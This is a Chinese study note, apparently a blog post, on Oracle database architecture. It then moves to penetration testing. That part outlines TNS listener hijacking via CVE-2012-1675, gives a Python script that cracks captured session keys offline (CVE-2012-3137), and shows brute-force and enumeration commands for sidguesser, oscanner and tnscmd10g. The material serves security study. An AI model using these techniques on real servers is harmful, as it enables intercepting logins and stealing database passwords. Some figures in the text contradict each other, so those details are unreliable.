[TOC]
Oracle 数据库体系结构

分为两个大部分:
RDBMS 关系数据库管理系统
控制文件(.ctl)
数据文件(.dbf)
日志文件(.log)
SGA:系统全局区,主要包括:
共享池:用于存储最近定义的sql语句和数据定义。
Oracle使用最近最少使用(LRU,leastrecentlyused)算法来管理可用空间。
1)数据块缓存区
数据块缓存区(datablockbuffercache)是SGA中的一个高速缓存区域,用来存储从数据库中读取数据段的数据块(如表、索引和簇)。数据块缓存区的大小由数据库服务器init.ora文件中的DB_LOCK_BUFFERS参数决定(用数据库块的个数表示)。在调整和管理数据库时,调整数据块缓存区的大小是一个重要的部分。
2)字典缓存区
数据库对象的信息存储在数据字典表中,这些信息包括用户帐号数据、数据文件名、段名、盘区位置、表说明和权限,当数据库需要这些信息(如检查用户查询一个表的授权)时,将读取数据字典表并且将返回的数据存储在字典缓存区的SGA中。
3)重做日志缓冲区
重做项描述对数据库进行的修改。它们写到联机重做日志文件中,以便在数据库恢复过程中用于向前滚动操作。然而,在被写入联机重做日志文件之前,事务首先被记录在称作重做日志缓冲区(redologbuffer)的SGA中。数据库可以周期地分批向联机重做日志文件中写重做项的内容,从而优化这个操作。重做日志缓冲区的大小(以字节为单位)由init.ora文件中的LOG_BUFFER参数决定。
4)SQL共享池
SQL共享池存储数据字典缓存区及库缓存区(librarycache),即对数据库进行操作的语句信息。当数据块缓冲区和字典缓存区能够共享数据库用户间的结构及数据信息时,库缓存区允许共享常用的SQL语句。
SQL共享池包括执行计划及运行数据库的SQL语句的语法分析树。在第二次运行(由任何用户)相同的SQL语句时,可以利用SQL共享池中可用的语法分析信息来加快执行速度。
SQL共享池通过LRU算法来管理。当SQL共享池填满时,将从库缓存区中删掉最近最少使用的执行路径和语法分析树,以便为新的条目腾出空间。如果SQL共享池太小,语句将被连续不断地再装入到库缓存区,从而影响操作性能。
SQL共享池的大小(以字节为单位)由init.ora文件参数SHARED_POOL_SIZE决定。
5)大池
大池(LargePool)是一个可选内存区。如果使用线程服务器选项或频繁执行备份/恢复操作,只要创建一个大池,就可以更有效地管理这些操作。大池将致力于支持SQL大型命令。利用大池,就可以防止这些SQL大型命令把条目重写入SQL共享池中,从而减少再装入到库缓存区中的语句数量。大池的大小(以字节为单位)通过init.ora文件的LARGE_POOL_SIZE参数设置,用户可以使用init.ora文件的LARGE_POOL_MIN_ALLOC参数设置大池中的最小位置。Oracle8i已不用这个参数。作为使用LargePool的一种选择方案,可以用init.ora文件的SHARED_POOL_RESERVED_SIZE参数为SQL大型语句保留一部分SQL共享池。
6)Java池
由其名字可知,Java池为Java命令提供语法分析。Java池的大小(以字节为单位)通过在Oracle引入的init.ora文件的JAVA_POOL_SIZE参数设置。init.ora文件的JAVA_POOL_SIZE参数缺省设置为10MB。
7)多缓冲池
可以在SGA中创建多个缓冲池,能够用多个缓冲池把大数据集与其他的应用程序分开,以减少它们争夺数据块缓存区内相同资源的可能性。对于创建的每一个缓冲池,都要规定其LRU锁存器的大小和数量。缓冲区的数量必须至少比LRU锁存器的数量多50倍。
创建缓冲池时,需要规定保存区(keeparea)的大小和再循环区(recyclearea)的大小。与SQL共享池的保留区一样,保存区保持条目,而再循环区则被频繁地再循环使用。可以通过BUFFER_POOL_KEEP参数规定来保存区的大小。例如:
保存和再循环缓冲池的容量减少了数据块缓冲存储区中的可用空间(通过DB_BLOCK_BUFFERS参数设置)。对于使用一个新缓冲池的表,通过表的storage子句中的buffer_pool参数来规定缓冲池的名字。例如,如果需要从内存中快速删除一个表,就把它赋予RECYCLE池。缺省池叫作DEFAULT,这样就能在以后用altertable命令把一个表转移到DEFAULT池。
PGA:为用户进程保留的空间,即服务器进程。
后台进程:
• 数据库写进程(DBWn)
负责将数据库缓冲区高速缓存中经过修改的缓冲区(脏数据缓冲区)写入磁盘。在一个数据库实例中,DBWn进程最多可以启动36个,进程名分别为DBWn0、DBWn1、DBWn2、…DBWnj。
注:LRU(Least Recently Used,最近最少使用):数据缓冲的一种管理机制,只保留最近数据,不保留旧数据。
注:DIRTY:表示“脏列”或者“弄脏了的数据”,实际上就是指被修改但是还没有写入数据文件的数据。
通过命令可以来了解参数信息
1 | show parameter db_writer_processes; |
DBWn进程最多可以启动20个,所以DB_WRITER_PROCESSES参数的取值范围是1-36。
• 日志写进程(LGWR)
负责管理日志缓冲区的一个后台进程,用于将日志缓冲区中的日志数据写入磁盘的日志文件中
在数据库运行时,对数据库的修改操作将被记录到日志信息中,这些日志信息首先保存在日志缓冲区,当日志信息达到一定量时,由LGWR进程将日志数据写入日志文件。
需要LGWR进程将缓冲区数据中的日志数据写入磁盘的主要情况有如下几种:
- 用户进程提交(commit)事务
- 日志缓冲区池已满1/3
- 出现超时(每隔3秒)
- DBWn进程调用磁盘写入进程
• 检查点进程(CKPT)
一般在发生日志切换时产生。在系统运行过程中,当需要将修改后的数据写回数据文件并且产生日志切换时就会产生检查点。检查点保证所有修改过的数据库缓冲区中的数据都被写入磁盘数据文件中。
在Oracle数据库中,提供了两个参数控制检查点的产生:一个是LOG_CHECKPOINT_TIMEOUT,用来设置检查点产生的时间间隔;另一个是LOG_CHECKPOINT_INTERVAL,用来设置一个检查点需要填充的日志文件块的数目也就是每产生多少个日志数据,自动产生一个检查点。
通过以下命令了解log_checkpoint_timeout参数信息:
1 | show parameter log_checkpoint_timeout; |
log_checkpoint_timeout参数默认值为1800,单位为秒。
通过以下命令可以了解log_checkpoint_interval 参数值:
1 | show parameter log_checkpoint_interval; |
log_checkpoint_interval参数值默认为0。
• 系统监视器进程(SMON)
在实例启动时执行实例恢复,并负责清理不再使用的临时段。在具有并行服务器选项的环境下,SMON进程对有故障的CPU或者实例进行实例恢复。SMON进程被有规律的唤醒,检查是否需要使用,其他进程需要时也可以调用次进程。(可被hacker调用)
实例恢复:
• 进程监视器进程(PMON)
用于在用户进程出现故障时执行进程恢复操作,并负责清理内存存储区和释放该进程所用的资源。改进程周期性的检查调度进程和服务器进程的状态,如果发现进程已死,则重新启动它。PMON进程被有规律的唤醒,检查是否需要使用,其他进程需要使用时也可以调用此进程。(可被hacker调用)
• 归档进程(ARCn)
• 恢复器进程(RECO)
• 封锁进程(LCKn)
• 调度进程(Dnnn)
• 快照进程(SNPn)
• 作业队列协调程序(CJQ0)
• 作业从属进程(Jnnn)
• 队列监视器进程(QMNn)
TNS监听服务
TNS监听是攻击的重点
TNS协议结构
TNS 包由一个header和payload 组成
1 | 0 8 16 31 |
通用Header8个字节:
Length | 2 | 包的长度,包括通用包头 |
---|---|---|
Packet check sum | 2 | 包的校验和 |
Type | 1 | TNS类型 |
Flag | 1 | 状态 |
Header check sum | 2 | 通用头的校验和 |
注:
Length:包长度(包括包头)
Type: 数据包的类型
类型号 | 类型说明 | |
---|---|---|
1 | 0x01 | 连接(CONNECT) |
2 | 0x02 | 接受(ACCEPT) |
3 | 0x03 | 确认(ACK) |
4 | 0x04 | 拒绝(REFUTE) |
5 | 0x05 | 重定向(REDIRECT) |
6 | 0x06 | 数据(DATA) |
7 | 0x07 | NULL |
8 | 0x08 | |
9 | 0x09 | 中止(ABORT) |
10 | 0x0a | |
11 | 0x0b | 重新发送(RESEND) |
12 | 0x0c | 标记(MARKER) |
13 | 0x0d | ATTENTION |
14 | 0x0e | 控制(CONTROL) |
payload:
Connect 连接类型数据如下所示:
1 | Transparent Network Substrate Protocol |
Accept接收类型数据如下所示:
1 | Transparent Network Substrate Protocol |
Refuse拒绝类型数据如下所示:
1 | 0.047753 192.168.1.102 192.168.1.108 TNS Response, Refuse (4), Refuse |
DATA 包是类型6,包括2个字节的 flag 标志位,1字节的 packet id,可选的 TTI id,还有数据本身。
1 | 0 16 24 31 |
字段说明:
Data Flag: 数据标识
ID: 包ID
TTI: TTI(Two-Task Interface) ID
DATA: 有效数据
Data Flag 通常是 0x0000, 当所有数据发送完毕指示文件结尾,值为 0x0040
下面是列出了有效的数据包ID:
ID | 描述 |
---|---|
0x01 | 协议协商。下面这些标识是可以接受的协议版本:0x06 0x05 0x04 0x03 0x02 0x01 0x00 |
0x02 | 交换数据类型 |
0x08 | “OK”服务器给客户端的响应 |
0x11 | TTI (Two-Task Interface)功能扩展 |
0x20 | 使用外部的程序和服务注册 |
0xdeadbeef | 附加网络选项,客户端可协商附加连接熟悉,例如:认证,加密,数据完整性,监控。注意:wireshark 中叫这个包为 Secure Network Services |
Oracle Database TNS 漏洞
TNS劫持
知道目标物理地址和端口,本地搭建同名数据库,通过远程注册目标机器的TNS下同名实例
CVE-2012-1675漏洞是Oracle允许攻击者在不提供用户名/密码的情况下,向远程“TNS Listener”组件处理的数据投毒的漏洞。攻击者可利用此漏洞将数据库服务器的合法“TNS Listener”组件中的数据转向到攻击者控制的系统,导致控制远程组件的数据库实例,造成组件和合法数据库之间的中间人攻击、会话劫持或拒绝服务攻击。
CVE-2012-3137漏洞是Oracle Database 10g/11g身份验证协议实现中存在一个设计缺陷,攻击者无需认证即可远程获取数据库用户密码哈希相关数据,从而可以离线暴力破解用户密码,进一步控制数据库系统。
我们通过如下的步骤和过程可以实现对Oracle的入侵:
1 | (1)利用CVE-2012-1675进行TNS劫持,在监听下利用远程注册,注册同名数据库实例; |
下面是一段可用的TNS劫持的过程:
1.在劫持机上创建一个和目标数据库实例同名的数据库实例。
2.在劫持机上修改 tnsnames.ora 文件
1 | 添加 |
3.在劫持机上用SQLPlus 顺序执行下面步骤。
1 | 客户端向TNS |
1 | 1.$ sqlplus / as sysdba |
4.多个客户端,向数据库发起登录。会劫持到一部分客户端的登录信息。
按照猜想同一个监听下有2个同名实例。客户端访问监听,监听按照客户端中的数据库名信息分配数据库,由于监听下有2个同名数据库,客户端链接很可能会被分配到劫持者的数据库实例下,再通过配置劫持者的本地监听把客户端请求指回原数据库。
通过以上方式我们可以截获约一半左右客户端发送到服务器的合法链接。其中获得了服务器IP、端口号、数据库位置、实例名、登录用户名等一系列明文信息和4组密文信息(AUTH_SESSKEY,AUTH_SESSKEY_CLIENT,AUTH_PASSWORD,AUTH_VFR_DATA)。
通过CVE-2012-3137进行密码破解
CVE-2012-3137受影响的数据库版本有11.2.0.3,11.2.0.2,11.1.0.7,有使用了SHA-1加密算法的10.2.0.5和10.2.0.4,还有使用了SHA-1的10.2.0.3(运行在z/OS下)版本。
确认加密方式之后,数据库用户被O3logon(oracle验证方式) 进行验证,这个协议执行一个序列来向数据库证明客户端拥有密码。为了避免网络第三方截获到密码。首先客户端发送用户名到数据库来表明用户身份。数据库端根据加密协议,其中96位的作为数据库端密钥,20位的作为偏移量,它对每个连接都是不同的。一个典型的数据库端发给客户端的密钥如下:
1 | AUTH_SESSKEY.....COCDD89FIGODKWASDF…………………… |
客户端根据加密算法向服务器端发送96位的客户端密钥和64位的密码密钥。服务器端计算客户端传入的密码密钥。如果计算后密码密文和数据库中存储的16位密码密文一致则验证通过。
这个过程可知上面TNS劫持包中取得的加密信息:AUTH_SESSKEY,AUTH_SESSKEY_CLIENT,AUTH_PASSWORD,AUTH_VFR_DATA这四个值是解密的关键。我们把他们按照SHA1,MD5,AES192进行一系列处理。最终通过数据字典碰撞得到密码明文。
import hashlib
from Crypto.Cipher import AES
def decrypt(session,salt,password):
pass_hash= hashlib.sha1(password+salt)
key =pass_hash.digest() + '\x00\x00\x00\x00'
decryptor= AES.new(key,AES.MODE_CBC)
plain =decryptor.decrypt(session)
return plain
session_hex ='EA2043CB8B46E3864311C68BDC161F8CA170363C1E6F57F3EBC6435F541A8239B6DBA16EAAB5422553A7598143E78767'
salt_hex = 'A7193E546377EC56639E'
passwords = ['test','password','oracle','demo']
for password in passwords:
session_id= decrypt(session_hex.decode('hex'),salt_hex.decode('hex'),password)
print'Decrypted session_id for password "%s" is %s' %(password,session_id.encode('hex'))
if session_id[40:] == '\x08\x08\x08\x08\x08\x08\x08\x08':
print'PASSWORD IS "%s"' % password
break
TNS缓冲区溢出
ORACLE调用系统用户做认证
CVE-2002-0965
SERVICE_NAME值超过20字节,导致溢出。
Oracle Database SQL注入漏洞
一、直接sql语句
第二个请求有用户名和密文口令,下面有名称值对列表,描述客户端的属性,这部分可替换成任何sql语句,在sys环境执行。登录数据库时就可以创建用户。
二、PL/SQL语言
匿名块:单次调用
命名块:有名称,存储在服务器,可多次调用
1 | DECLARE |
变量的作用
在DECLARE阶段声明
每一行只能声明一个变量
声明标识符不能超过30字符,第一个字符为字母,不分大小写,不能用 -,不能用保留字,不能和引用的列同名,列名的优先级别高于变量。
PL/SQL变量:
复合变量:数组、记录、PL/SQL表
非PL/SQL变量
Oracle 数据库评估工具
sidguesser
基于字典的SID爆破工具
- Oracle 数据库实例名称SID
- 一个数据库服务器可以创建多个数据库实例
- SID是数据访问的入口
Oracle是一个大型的数据库管理系统,在一台Oracle服务器上,我们可以为不同的应用创建各自独立的数据库实例。为了方便管理和访问不同的数据库实例,操作系统通过SID来识别不同的数据库。作为渗透测试者,发现库实例的SID是实现数据访问的第一步。sidguesser是一个基于字典的SID枚举工具,帮助渗透测试者发现数据访问的入口。
使用
1 | sidguess -i IP -d dict.txt |
oscanner
oscanner是一款针对oracle数据库服务器进行安全评估的框架软件,功能包括SID、身份信息、密码策略、用户角色权限等的爆破和枚举检查。由于此工具内建字典过于简陋,因此要想发挥应有的作用,我们必须手动完善字典内容。
Java开发的Oracle安全评估框架
基于插件、字典的架构
SID枚举
密码爆破
Oracle版本枚举
账号角色枚举
账号权限枚举
审计信息枚举
密码策略枚举(自己配置密码字典,默认密码字典太简单)
数据库链接枚举
配置文件
1 | /usr/share/oscanner/default.conf |
1 | oscanner -s server -f serverlist -P 1521 |
tnscmd10g
Oracle数据库管理系统默认的服务端口是TCP 1521。在早期版本的Oracle系统中,通过对此端口的探测,可以获得大量系统信息,这给渗透测提供了有利的前提。tnscmd10g 主要针对7-9版本的Oracle数据库服务器,进行应用和操作系统层面的信息收集。同时也可以利用漏洞,直接输入并执行系统指令,上传和启动后门程序。10g以后版本的Oracle数据库大大提升了系统的安全性,使得本工具效果受限。
- 针对Oracle 7-9i的信息收集工具
- 向TNS监听程序发送指令(TCP 1521)
- 爆破SID
1 | tnscmd10g verssion -h 192.168.1.1 |